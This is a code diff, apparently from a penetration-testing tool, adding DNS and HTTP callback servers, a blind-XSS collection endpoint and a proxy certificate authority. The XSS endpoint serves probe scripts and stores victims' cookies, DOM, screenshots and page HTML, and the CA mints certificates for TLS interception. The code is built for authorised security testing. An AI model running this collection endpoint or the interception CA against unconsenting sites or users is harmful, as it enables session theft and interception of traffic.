CREATE TABLE IF NOT EXISTS xss_probes (
id TEXT PRIMARY KEY,
name TEXT NOT NULL DEFAULT '',
probe_id TEXT NOT NULL UNIQUE,
collect_pages TEXT NOT NULL DEFAULT '',
chainload_uri TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE IF NOT EXISTS xss_fires (
id TEXT PRIMARY KEY,
probe_id TEXT NOT NULL REFERENCES xss_probes(id) ON DELETE CASCADE,
probe_token TEXT NOT NULL,
url TEXT NOT NULL,
origin TEXT NOT NULL DEFAULT '',
referrer TEXT NOT NULL DEFAULT '',
user_agent TEXT NOT NULL DEFAULT '',
cookies TEXT NOT NULL DEFAULT '',
page_title TEXT NOT NULL DEFAULT '',
dom TEXT NOT NULL DEFAULT '',
screenshot TEXT NOT NULL DEFAULT '',
source_ip TEXT NOT NULL DEFAULT '',
in_iframe INTEGER NOT NULL DEFAULT 0,
browser_time TEXT NOT NULL DEFAULT '',
page_text TEXT NOT NULL DEFAULT '',
injection_key TEXT NOT NULL DEFAULT '',
fired_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE INDEX IF NOT EXISTS idx_xss_fires_probe ON xss_fires(probe_id);
CREATE INDEX IF NOT EXISTS idx_xss_fires_time ON xss_fires(fired_at DESC);
CREATE TABLE IF NOT EXISTS xss_collected_pages (
id TEXT PRIMARY KEY,
fire_id TEXT NOT NULL REFERENCES xss_fires(id) ON DELETE CASCADE,
url TEXT NOT NULL,
html TEXT NOT NULL DEFAULT '',
collected_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE INDEX IF NOT EXISTS idx_xss_collected_pages_fire ON xss_collected_pages(fire_id);
`
// OpenDB opens (or creates) the SQLite database at path and runs migrations.
func OpenDB(path string) (*sql.DB, error) {
db, err := sql.Open("sqlite", path+"?_pragma=foreign_keys(1)&_pragma=journal_mode(wal)")
if err != nil {
return nil, err
}
if _, err := db.Exec(schema); err != nil {
db.Close()
return nil, err
}
// Migrate: rename "name" column to "note" for existing databases.
var hasNameCol bool
rows, err := db.Query("PRAGMA table_info(tokens)")
if err == nil {
defer rows.Close()
for rows.Next() {
var cid int
var name, typ string
var notNull, pk int
var dflt sql.NullString
if err := rows.Scan(&cid, &name, &typ, &notNull, &dflt, &pk); err == nil {
if name == "name" {
hasNameCol = true
}
}
}
}
if hasNameCol {
db.Exec("ALTER TABLE tokens RENAME COLUMN name TO note") //nolint:errcheck
}
// Migrate: add new columns to xss_fires for existing databases.
migrateAddColumn(db, "xss_fires", "page_text", "TEXT NOT NULL DEFAULT ''")
migrateAddColumn(db, "xss_fires", "injection_key", "TEXT NOT NULL DEFAULT ''")
// Migrate: add new columns to xss_probes for existing databases.
migrateAddColumn(db, "xss_probes", "collect_pages", "TEXT NOT NULL DEFAULT ''")
migrateAddColumn(db, "xss_probes", "chainload_uri", "TEXT NOT NULL DEFAULT ''")
return db, nil
}
// migrateAddColumn adds a column to a table if it doesn't already exist.
func migrateAddColumn(db *sql.DB, table, column, colDef string) {
var exists bool
rows, err := db.Query("PRAGMA table_info(" + table + ")")
if err != nil {
return
}
defer rows.Close()
for rows.Next() {
var cid int
var name, typ string
var notNull, pk int
var dflt sql.NullString
if err := rows.Scan(&cid, &name, &typ, &notNull, &dflt, &pk); err == nil {
if name == column {
exists = true
}
}
}
if !exists {
db.Exec("ALTER TABLE " + table + " ADD COLUMN " + column + " " + colDef) //nolint:errcheck
}
}
+106
View File
@@ -0,0 +1,106 @@
package callback
import (
"context"
"crypto/rand"
"encoding/hex"
"fmt"
"log"
"net"
"strings"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/miekg/dns"
)
// DNSServer listens for DNS queries and records interactions for matching tokens.
type DNSServer struct {
store *Store
broadcast chan<- any
bindAddr string
port int
udp *dns.Server
tcp *dns.Server
}
// NewDNSServer creates a DNS callback server.
func NewDNSServer(store *Store, broadcast chan<- any, bindAddr string, port int) *DNSServer {
return &DNSServer{
store: store,
broadcast: broadcast,
bindAddr: bindAddr,
port: port,
}
}
// Start begins listening on UDP and TCP. It blocks until ctx is cancelled.
func (d *DNSServer) Start(ctx context.Context) error {
addr := fmt.Sprintf("%s:%d", d.bindAddr, d.port)
handler := dns.HandlerFunc(d.handleDNS)
d.udp = &dns.Server{Addr: addr, Net: "udp", Handler: handler}
d.tcp = &dns.Server{Addr: addr, Net: "tcp", Handler: handler}
errCh := make(chan error, 2)
go func() { errCh <- d.udp.ListenAndServe() }()
go func() { errCh <- d.tcp.ListenAndServe() }()
go func() {
<-ctx.Done()
d.udp.Shutdown() //nolint:errcheck
d.tcp.Shutdown() //nolint:errcheck
}()
return <-errCh
}
func (d *DNSServer) handleDNS(w dns.ResponseWriter, r *dns.Msg) {
msg := new(dns.Msg)
msg.SetReply(r)
msg.Authoritative = true
cfg, _ := d.store.GetConfig()
domain := cfg.Domain
responseIP := net.ParseIP(cfg.ResponseIP)
if responseIP == nil {
responseIP = net.ParseIP("127.0.0.1")
}
for _, q := range r.Question {
qname := strings.TrimSuffix(q.Name, ".")
// Try to correlate with a token
token, err := Correlate(d.store, qname, domain)
if err == nil {
sourceIP, _, _ := net.SplitHostPort(w.RemoteAddr().String())
id := make([]byte, 16)
rand.Read(id) //nolint:errcheck
interaction := &Interaction{
ID: hex.EncodeToString(id),
TokenID: token.ID,
Token: token.Token,
Type: "dns",
SourceIP: sourceIP,
Timestamp: time.Now().UTC(),
QueryName: qname,
QueryType: dns.TypeToString[q.Qtype],
}
if err := d.store.RecordInteraction(interaction); err != nil {
log.Printf("callback dns: record interaction: %v", err)
}
d.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
}
// Respond with A record for A queries
if q.Qtype == dns.TypeA {
msg.Answer = append(msg.Answer, &dns.A{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60},
A: responseIP.To4(),
})
}
}
w.WriteMsg(msg) //nolint:errcheck
}
+379
View File
@@ -0,0 +1,379 @@
package callback
import (
"context"
"crypto/rand"
"crypto/tls"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"net/http/httputil"
"strings"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/xsshunter"
)
// HTTPServer listens for HTTP requests and records interactions for matching tokens.
type HTTPServer struct {
store *Store
xssStore *xsshunter.Store
broadcast chan<- any
bindAddr string
port int
srv *http.Server
httpsPort int
httpsSrv *http.Server
}
// NewHTTPServer creates an HTTP callback server.
func NewHTTPServer(store *Store, xssStore *xsshunter.Store, broadcast chan<- any, bindAddr string, port int) *HTTPServer {
s := &HTTPServer{
store: store,
xssStore: xssStore,
broadcast: broadcast,
bindAddr: bindAddr,
port: port,
}
s.srv = &http.Server{
Addr: fmt.Sprintf("%s:%d", bindAddr, port),
Handler: http.HandlerFunc(s.handle),
ReadHeaderTimeout: 10 * time.Second,
ReadTimeout: 60 * time.Second,
WriteTimeout: 60 * time.Second,
IdleTimeout: 60 * time.Second,
}
return s
}
// WithTLS configures a parallel HTTPS listener on the given port.
func (h *HTTPServer) WithTLS(tlsCfg *tls.Config, port int) {
h.httpsPort = port
h.httpsSrv = &http.Server{
Addr: fmt.Sprintf("%s:%d", h.bindAddr, port),
Handler: http.HandlerFunc(h.handle),
TLSConfig: tlsCfg,
ReadHeaderTimeout: 10 * time.Second,
ReadTimeout: 60 * time.Second,
WriteTimeout: 60 * time.Second,
IdleTimeout: 60 * time.Second,
}
}
// Start begins listening. It blocks until ctx is cancelled.
func (h *HTTPServer) Start(ctx context.Context) error {
go func() {
<-ctx.Done()
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
h.srv.Shutdown(shutCtx) //nolint:errcheck
if h.httpsSrv != nil {
h.httpsSrv.Shutdown(shutCtx) //nolint:errcheck
}
}()
if h.httpsSrv != nil {
go func() {
if err := h.httpsSrv.ListenAndServeTLS("", ""); err != http.ErrServerClosed {
log.Printf("HTTPS callback server: %v", err)
}
}()
}
if err := h.srv.ListenAndServe(); err != http.ErrServerClosed {
return err
}
return nil
}
func (h *HTTPServer) handle(w http.ResponseWriter, r *http.Request) {
// Route XSS Hunter paths before token correlation.
if strings.HasPrefix(r.URL.Path, "/_xss/") {
h.handleXSS(w, r)
return
}
cfg, _ := h.store.GetConfig()
domain := cfg.Domain
host := r.Host
if hostname, _, err := net.SplitHostPort(host); err == nil {
host = hostname
}
token, err := Correlate(h.store, host, domain)
if err != nil {
http.Error(w, "79cb7b990dd6d0d8eac756c92ccc04b6", http.StatusOK)
return
}
sourceIP, _, _ := net.SplitHostPort(r.RemoteAddr)
// Read body
bodyBytes, _ := io.ReadAll(io.LimitReader(r.Body, 1<<20)) // 1MB limit
r.Body.Close()
// Dump headers as JSON
headersJSON, _ := json.Marshal(r.Header)
// Dump raw request
rawReq, _ := httputil.DumpRequest(r, false)
rawFull := append(rawReq, bodyBytes...)
id := make([]byte, 16)
rand.Read(id) //nolint:errcheck
interaction := &Interaction{
ID: hex.EncodeToString(id),
TokenID: token.ID,
Token: token.Token,
Type: "http",
SourceIP: sourceIP,
Timestamp: time.Now().UTC(),
Method: r.Method,
Path: r.URL.RequestURI(),
Headers: string(headersJSON),
Body: base64.StdEncoding.EncodeToString(bodyBytes),
RawRequest: base64.StdEncoding.EncodeToString(rawFull),
}
if err := h.store.RecordInteraction(interaction); err != nil {
log.Printf("callback http: record interaction: %v", err)
}
h.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
w.WriteHeader(http.StatusOK)
fmt.Fprintln(w, "79cb7b990dd6d0d8eac756c92ccc04b6")
}
func (h *HTTPServer) handleXSS(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
if r.Method == http.MethodOptions {
w.WriteHeader(http.StatusNoContent)
return
}
path := strings.TrimPrefix(r.URL.Path, "/_xss/")
// POST /_xss/callback — receive XSS fire data.
if path == "callback" && r.Method == http.MethodPost {
h.handleXSSCallback(w, r)
return
}
// POST /_xss/page_callback — receive collected page data.
if path == "page_callback" && r.Method == http.MethodPost {
h.handleXSSPageCallback(w, r)
return
}
// GET /_xss/html2canvas.min.js — serve embedded html2canvas library.
if path == "html2canvas.min.js" && r.Method == http.MethodGet {
w.Header().Set("Content-Type", "application/javascript")
w.Header().Set("Cache-Control", "public, max-age=86400")
w.Write(xsshunter.Html2canvasJS)
return
}
// GET /_xss/<probeHex> — serve probe JavaScript.
if r.Method == http.MethodGet && path != "" {
h.handleXSSProbeJS(w, r, path)
return
}
http.NotFound(w, r)
}
func (h *HTTPServer) handleXSSProbeJS(w http.ResponseWriter, r *http.Request, probeHex string) {
if h.xssStore == nil {
http.NotFound(w, r)
return
}
probe, err := h.xssStore.FindProbeByHex(probeHex)
if err != nil {
http.NotFound(w, r)
return
}
cfg, _ := h.store.GetConfig()
scheme := "http"
host := r.Host
port := h.port
if r.TLS != nil {
scheme = "https"
if h.httpsPort > 0 {
port = h.httpsPort
}
}
if cfg.Domain != "" {
host = cfg.Domain
if (scheme == "http" && port != 80) || (scheme == "https" && port != 443) {
host = fmt.Sprintf("%s:%d", cfg.Domain, port)
}
}
callbackBase := fmt.Sprintf("%s://%s", scheme, host)
// Parse per-probe collect pages; fall back to global config.
var collectPages []string
if probe.CollectPages != "" {
json.Unmarshal([]byte(probe.CollectPages), &collectPages) //nolint:errcheck
}
if len(collectPages) == 0 {
if globalPages, _ := h.store.GetConfigValue("xss_collect_pages"); globalPages != "" {
json.Unmarshal([]byte(globalPages), &collectPages) //nolint:errcheck
}
}
// Per-probe chainload URI; fall back to global config.
chainloadURI := probe.ChainloadURI
if chainloadURI == "" {
chainloadURI, _ = h.store.GetConfigValue("xss_chainload_uri")
}
js := xsshunter.ProbeJS(callbackBase, probeHex, collectPages, chainloadURI)
w.Header().Set("Content-Type", "application/javascript")
w.Header().Set("Cache-Control", "no-store")
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, js)
}
func (h *HTTPServer) handleXSSCallback(w http.ResponseWriter, r *http.Request) {
if h.xssStore == nil {
http.Error(w, "not configured", http.StatusServiceUnavailable)
return
}
bodyBytes, _ := io.ReadAll(io.LimitReader(r.Body, 5<<20)) // 5MB limit
r.Body.Close()
var payload struct {
ProbeID string `json:"probeId"`
URL string `json:"url"`
Origin string `json:"origin"`
Referrer string `json:"referrer"`
UserAgent string `json:"userAgent"`
Cookies string `json:"cookies"`
PageTitle string `json:"pageTitle"`
DOM string `json:"dom"`
Screenshot string `json:"screenshot"`
PageText string `json:"pageText"`
InIframe bool `json:"inIframe"`
BrowserTime string `json:"browserTime"`
InjectionKey string `json:"injectionKey"`
}
if err := json.Unmarshal(bodyBytes, &payload); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
probe, err := h.xssStore.FindProbeByHex(payload.ProbeID)
if err != nil {
http.Error(w, "unknown probe", http.StatusNotFound)
return
}
sourceIP, _, _ := net.SplitHostPort(r.RemoteAddr)
id := make([]byte, 16)
rand.Read(id) //nolint:errcheck
fire := &xsshunter.Fire{
ID: hex.EncodeToString(id),
ProbeID: probe.ID,
ProbeToken: probe.ProbeID,
URL: payload.URL,
Origin: payload.Origin,
Referrer: payload.Referrer,
UserAgent: payload.UserAgent,
Cookies: payload.Cookies,
PageTitle: payload.PageTitle,
DOM: payload.DOM,
Screenshot: payload.Screenshot,
PageText: payload.PageText,
SourceIP: sourceIP,
InIframe: payload.InIframe,
BrowserTime: payload.BrowserTime,
InjectionKey: payload.InjectionKey,
FiredAt: time.Now().UTC(),
}
if err := h.xssStore.RecordFire(fire); err != nil {
log.Printf("xss callback: record fire: %v", err)
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
h.broadcast <- event.WSEvent{Type: "xss.fire", Data: fire}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]string{"id": fire.ID})
}
func (h *HTTPServer) handleXSSPageCallback(w http.ResponseWriter, r *http.Request) {
if h.xssStore == nil {
http.Error(w, "not configured", http.StatusServiceUnavailable)
return
}
bodyBytes, _ := io.ReadAll(io.LimitReader(r.Body, 5<<20))
r.Body.Close()
var payload struct {
FireID string `json:"fireId"`
ProbeID string `json:"probeId"`
URL string `json:"url"`
HTML string `json:"html"`
}
if err := json.Unmarshal(bodyBytes, &payload); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
// Determine fire ID: use provided fireId, or find the most recent fire for this probe.
fireID := payload.FireID
if fireID == "" && payload.ProbeID != "" {
if fire, err := h.xssStore.FindRecentFireByProbeHex(payload.ProbeID); err == nil {
fireID = fire.ID
}
}
if fireID == "" {
http.Error(w, "cannot correlate page to fire", http.StatusBadRequest)
return
}
id := make([]byte, 16)
rand.Read(id) //nolint:errcheck
page := &xsshunter.CollectedPage{
ID: hex.EncodeToString(id),
FireID: fireID,
URL: payload.URL,
HTML: payload.HTML,
CollectedAt: time.Now().UTC(),
}
if err := h.xssStore.RecordCollectedPage(page); err != nil {
log.Printf("xss page callback: record page: %v", err)
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
h.broadcast <- event.WSEvent{Type: "xss.page", Data: page}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]string{"id": page.ID})
}
+233
View File
@@ -0,0 +1,233 @@
package callback
import (
"database/sql"
"time"
)
// Token represents a callback token.
type Token struct {
ID string `json:"id"`
Note string `json:"note"`
Token string `json:"token"`
CreatedAt time.Time `json:"createdAt"`
HitCount int `json:"hitCount"`
}
// Interaction represents a recorded callback interaction (DNS or HTTP).
type Interaction struct {
ID string `json:"id"`
TokenID string `json:"tokenId"`
Token string `json:"token"`
Type string `json:"type"`
SourceIP string `json:"sourceIp"`
Timestamp time.Time `json:"timestamp"`
QueryName string `json:"queryName,omitempty"`
QueryType string `json:"queryType,omitempty"`
Method string `json:"method,omitempty"`
Path string `json:"path,omitempty"`
Headers string `json:"headers,omitempty"`
Body string `json:"body,omitempty"`
RawRequest string `json:"rawRequest,omitempty"`
Source string `json:"source,omitempty"`
}
// CallbackConfig holds callback server configuration.
type CallbackConfig struct {
Domain string `json:"domain"`
ResponseIP string `json:"responseIp"`
}
// Store provides CRUD operations for tokens and interactions.
type Store struct {
db *sql.DB
}
// NewStore creates a new Store.
func NewStore(db *sql.DB) *Store {
return &Store{db: db}
}
// CreateToken inserts a new token.
func (s *Store) CreateToken(id, note, hex string) (*Token, error) {
now := time.Now().UTC()
_, err := s.db.Exec(
"INSERT INTO tokens (id, note, token, created_at) VALUES (?, ?, ?, ?)",
id, note, hex, now,
)
if err != nil {
return nil, err
}
return &Token{ID: id, Note: note, Token: hex, CreatedAt: now}, nil
}
// ListTokens returns all tokens with their hit counts.
func (s *Store) ListTokens() ([]Token, error) {
rows, err := s.db.Query(`
SELECT t.id, t.note, t.token, t.created_at, COUNT(i.id) as hit_count
FROM tokens t
LEFT JOIN interactions i ON i.token_id = t.id
GROUP BY t.id
ORDER BY t.created_at DESC
`)
if err != nil {
return nil, err
}
defer rows.Close()
var tokens []Token
for rows.Next() {
var t Token
if err := rows.Scan(&t.ID, &t.Note, &t.Token, &t.CreatedAt, &t.HitCount); err != nil {
return nil, err
}
tokens = append(tokens, t)
}
return tokens, rows.Err()
}
// DeleteToken deletes a token and cascades to interactions.
func (s *Store) DeleteToken(id string) error {
res, err := s.db.Exec("DELETE FROM tokens WHERE id = ?", id)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return sql.ErrNoRows
}
return nil
}
// FindTokenByHex looks up a token by its hex string.
func (s *Store) FindTokenByHex(hex string) (*Token, error) {
var t Token
err := s.db.QueryRow(
"SELECT id, note, token, created_at FROM tokens WHERE token = ?", hex,
).Scan(&t.ID, &t.Note, &t.Token, &t.CreatedAt)
if err != nil {
return nil, err
}
return &t, nil
}
// RecordInteraction inserts a new interaction.
func (s *Store) RecordInteraction(i *Interaction) error {
_, err := s.db.Exec(`
INSERT INTO interactions (id, token_id, token, type, source_ip, timestamp,
query_name, query_type, method, path, headers, body, raw_request)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
i.ID, i.TokenID, i.Token, i.Type, i.SourceIP, i.Timestamp,
i.QueryName, i.QueryType, i.Method, i.Path, i.Headers, i.Body, i.RawRequest,
)
return err
}
// ListInteractions returns interactions, optionally filtered by token ID.
func (s *Store) ListInteractions(tokenID string, offset, limit int) ([]Interaction, int, error) {
var total int
var args []any
countQ := "SELECT COUNT(*) FROM interactions"
listQ := `SELECT id, token_id, token, type, source_ip, timestamp,
query_name, query_type, method, path, headers, body, raw_request
FROM interactions`
if tokenID != "" {
countQ += " WHERE token_id = ?"
listQ += " WHERE token_id = ?"
args = append(args, tokenID)
}
if err := s.db.QueryRow(countQ, args...).Scan(&total); err != nil {
return nil, 0, err
}
listQ += " ORDER BY timestamp DESC LIMIT ? OFFSET ?"
listArgs := append(args, limit, offset)
rows, err := s.db.Query(listQ, listArgs...)
if err != nil {
return nil, 0, err
}
defer rows.Close()
var items []Interaction
for rows.Next() {
var i Interaction
var qn, qt, m, p, h, b, rr sql.NullString
if err := rows.Scan(&i.ID, &i.TokenID, &i.Token, &i.Type, &i.SourceIP, &i.Timestamp,
&qn, &qt, &m, &p, &h, &b, &rr); err != nil {
return nil, 0, err
}
i.QueryName = qn.String
i.QueryType = qt.String
i.Method = m.String
i.Path = p.String
i.Headers = h.String
i.Body = b.String
i.RawRequest = rr.String
items = append(items, i)
}
return items, total, rows.Err()
}
// ClearInteractions deletes interactions, optionally filtered by token ID.
func (s *Store) ClearInteractions(tokenID string) error {
if tokenID != "" {
_, err := s.db.Exec("DELETE FROM interactions WHERE token_id = ?", tokenID)
return err
}
_, err := s.db.Exec("DELETE FROM interactions")
return err
}
// GetConfig returns the callback configuration.
func (s *Store) GetConfig() (*CallbackConfig, error) {
cfg := &CallbackConfig{ResponseIP: "127.0.0.1"}
s.db.QueryRow("SELECT value FROM config WHERE key = 'domain'").Scan(&cfg.Domain) //nolint:errcheck
s.db.QueryRow("SELECT value FROM config WHERE key = 'response_ip'").Scan(&cfg.ResponseIP) //nolint:errcheck
return cfg, nil
}
// GetConfigValue returns a single config value by key.
func (s *Store) GetConfigValue(key string) (string, error) {
var val string
err := s.db.QueryRow("SELECT value FROM config WHERE key = ?", key).Scan(&val)
if err != nil {
return "", err
}
return val, nil
}
// SetConfigValue sets a single config value by key.
func (s *Store) SetConfigValue(key, value string) error {
_, err := s.db.Exec(
"INSERT INTO config (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value",
key, value,
)
return err
}
// SetConfig saves the callback configuration.
func (s *Store) SetConfig(cfg *CallbackConfig) error {
tx, err := s.db.Begin()
if err != nil {
return err
}
defer tx.Rollback() //nolint:errcheck
for _, kv := range [][2]string{
{"domain", cfg.Domain},
{"response_ip", cfg.ResponseIP},
} {
_, err := tx.Exec(
"INSERT INTO config (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value",
kv[0], kv[1],
)
if err != nil {
return err
}
}
return tx.Commit()
}
+50
View File
@@ -0,0 +1,50 @@
package callback
import (
"crypto/rand"
"database/sql"
"encoding/hex"
"strings"
)
// GenerateToken creates a new token with a random 16-char hex identifier.
func GenerateToken(store *Store, name string) (*Token, error) {
b := make([]byte, 8)
if _, err := rand.Read(b); err != nil {
return nil, err
}
hexStr := hex.EncodeToString(b)
id := make([]byte, 16)
if _, err := rand.Read(id); err != nil {
return nil, err
}
idStr := hex.EncodeToString(id)
return store.CreateToken(idStr, name, hexStr)
}
// Correlate extracts the token hex from a subdomain and looks it up.
// For example, given "abc123def456.cb.example.com" with domain "cb.example.com",
// it extracts "abc123def456" and looks up the token.
func Correlate(store *Store, hostname, domain string) (*Token, error) {
hostname = strings.TrimSuffix(hostname, ".")
domain = strings.TrimSuffix(domain, ".")
if !strings.HasSuffix(hostname, "."+domain) {
return nil, sql.ErrNoRows
}
sub := strings.TrimSuffix(hostname, "."+domain)
// Take leftmost label
parts := strings.SplitN(sub, ".", 2)
label := parts[0]
// Token is first 16 hex chars
if len(label) < 16 {
return nil, sql.ErrNoRows
}
tokenHex := strings.ToLower(label[:16])
return store.FindTokenByHex(tokenHex)
}
+121
View File
@@ -0,0 +1,121 @@
package cert
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"math/big"
"os"
"path/filepath"
"time"
)
// CA holds the certificate authority certificate and private key.
type CA struct {
Cert *x509.Certificate
Key *ecdsa.PrivateKey
CertPEM []byte
}
// LoadOrCreate loads an existing CA from dataDir, or creates a new one if none exists.
func LoadOrCreate(dataDir string) (*CA, error) {
if err := os.MkdirAll(dataDir, 0700); err != nil {
return nil, fmt.Errorf("creating data dir: %w", err)
}
certPath := filepath.Join(dataDir, "ca.crt")
keyPath := filepath.Join(dataDir, "ca.key")
if _, err := os.Stat(certPath); err == nil {
return load(certPath, keyPath)
}
return generate(certPath, keyPath)
}
func load(certPath, keyPath string) (*CA, error) {
certPEM, err := os.ReadFile(certPath)
if err != nil {
return nil, fmt.Errorf("reading ca.crt: %w", err)
}
keyPEM, err := os.ReadFile(keyPath)
if err != nil {
return nil, fmt.Errorf("reading ca.key: %w", err)
}
certBlock, _ := pem.Decode(certPEM)
if certBlock == nil {
return nil, fmt.Errorf("invalid ca.crt PEM")
}
cert, err := x509.ParseCertificate(certBlock.Bytes)
if err != nil {
return nil, fmt.Errorf("parsing ca.crt: %w", err)
}
keyBlock, _ := pem.Decode(keyPEM)
if keyBlock == nil {
return nil, fmt.Errorf("invalid ca.key PEM")
}
key, err := x509.ParseECPrivateKey(keyBlock.Bytes)
if err != nil {
return nil, fmt.Errorf("parsing ca.key: %w", err)
}
return &CA{Cert: cert, Key: key, CertPEM: certPEM}, nil
}
func generate(certPath, keyPath string) (*CA, error) {
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return nil, fmt.Errorf("generating CA key: %w", err)
}
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
if err != nil {
return nil, fmt.Errorf("generating serial: %w", err)
}
template := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{
CommonName: "Joro Proxy CA",
Organization: []string{"Joro"},
},
NotBefore: time.Now().Add(-time.Hour),
NotAfter: time.Now().Add(10 * 365 * 24 * time.Hour),
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
BasicConstraintsValid: true,
IsCA: true,
}
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
if err != nil {
return nil, fmt.Errorf("creating CA cert: %w", err)
}
cert, err := x509.ParseCertificate(certDER)
if err != nil {
return nil, fmt.Errorf("parsing new CA cert: %w", err)
}
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
keyDER, err := x509.MarshalECPrivateKey(key)
if err != nil {
return nil, fmt.Errorf("marshaling CA key: %w", err)
}
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
if err := os.WriteFile(certPath, certPEM, 0600); err != nil {
return nil, fmt.Errorf("writing ca.crt: %w", err)
}
if err := os.WriteFile(keyPath, keyPEM, 0600); err != nil {
return nil, fmt.Errorf("writing ca.key: %w", err)
}
return &CA{Cert: cert, Key: key, CertPEM: certPEM}, nil
}
+33
View File
@@ -0,0 +1,33 @@
package cert
import (
"crypto/tls"
"sync"
)
// Cache caches leaf TLS certificates per hostname to avoid regenerating them on every connection.
type Cache struct {
ca *CA
store sync.Map // map[string]*tls.Certificate
}
// NewCache creates a Cache backed by the given CA.
func NewCache(ca *CA) *Cache {
return &Cache{ca: ca}
}
// Get returns a cached leaf cert for hostname, generating one if needed.
func (c *Cache) Get(hostname string) (*tls.Certificate, error) {
if v, ok := c.store.Load(hostname); ok {
return v.(*tls.Certificate), nil
}
cert, err := GenerateLeaf(c.ca, hostname)
if err != nil {
return nil, err
}
// Store with compare-and-swap to avoid thundering herd overwrites.
actual, _ := c.store.LoadOrStore(hostname, cert)
return actual.(*tls.Certificate), nil
}
+113
View File
@@ -0,0 +1,113 @@
package cert
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"math/big"
"net"
"time"
)
// GenerateLeafMulti creates a TLS certificate covering multiple DNS names, signed by ca.
// Supports wildcards (e.g. "*.example.com"). Uses 30-day validity.
func GenerateLeafMulti(ca *CA, names []string) (*tls.Certificate, error) {
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return nil, fmt.Errorf("generating leaf key: %w", err)
}
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
if err != nil {
return nil, fmt.Errorf("generating serial: %w", err)
}
cn := "localhost"
if len(names) > 0 {
cn = names[0]
}
template := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: cn},
NotBefore: time.Now().Add(-time.Hour),
NotAfter: time.Now().Add(30 * 24 * time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
DNSNames: names,
}
certDER, err := x509.CreateCertificate(rand.Reader, template, ca.Cert, &key.PublicKey, ca.Key)
if err != nil {
return nil, fmt.Errorf("creating leaf cert: %w", err)
}
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
keyDER, err := x509.MarshalECPrivateKey(key)
if err != nil {
return nil, fmt.Errorf("marshaling leaf key: %w", err)
}
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
cert, err := tls.X509KeyPair(certPEM, keyPEM)
if err != nil {
return nil, fmt.Errorf("creating key pair: %w", err)
}
return &cert, nil
}
// GenerateLeaf creates a short-lived TLS certificate for hostname, signed by ca.
func GenerateLeaf(ca *CA, hostname string) (*tls.Certificate, error) {
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return nil, fmt.Errorf("generating leaf key: %w", err)
}
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
if err != nil {
return nil, fmt.Errorf("generating serial: %w", err)
}
template := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: hostname},
NotBefore: time.Now().Add(-time.Hour),
NotAfter: time.Now().Add(24 * time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
}
// Support both DNS names and IP addresses.
if ip := net.ParseIP(hostname); ip != nil {
template.IPAddresses = []net.IP{ip}
} else {
template.DNSNames = []string{hostname}
}
certDER, err := x509.CreateCertificate(rand.Reader, template, ca.Cert, &key.PublicKey, ca.Key)
if err != nil {
return nil, fmt.Errorf("creating leaf cert: %w", err)
}
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
keyDER, err := x509.MarshalECPrivateKey(key)
if err != nil {
return nil, fmt.Errorf("marshaling leaf key: %w", err)
}
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
cert, err := tls.X509KeyPair(certPEM, keyPEM)
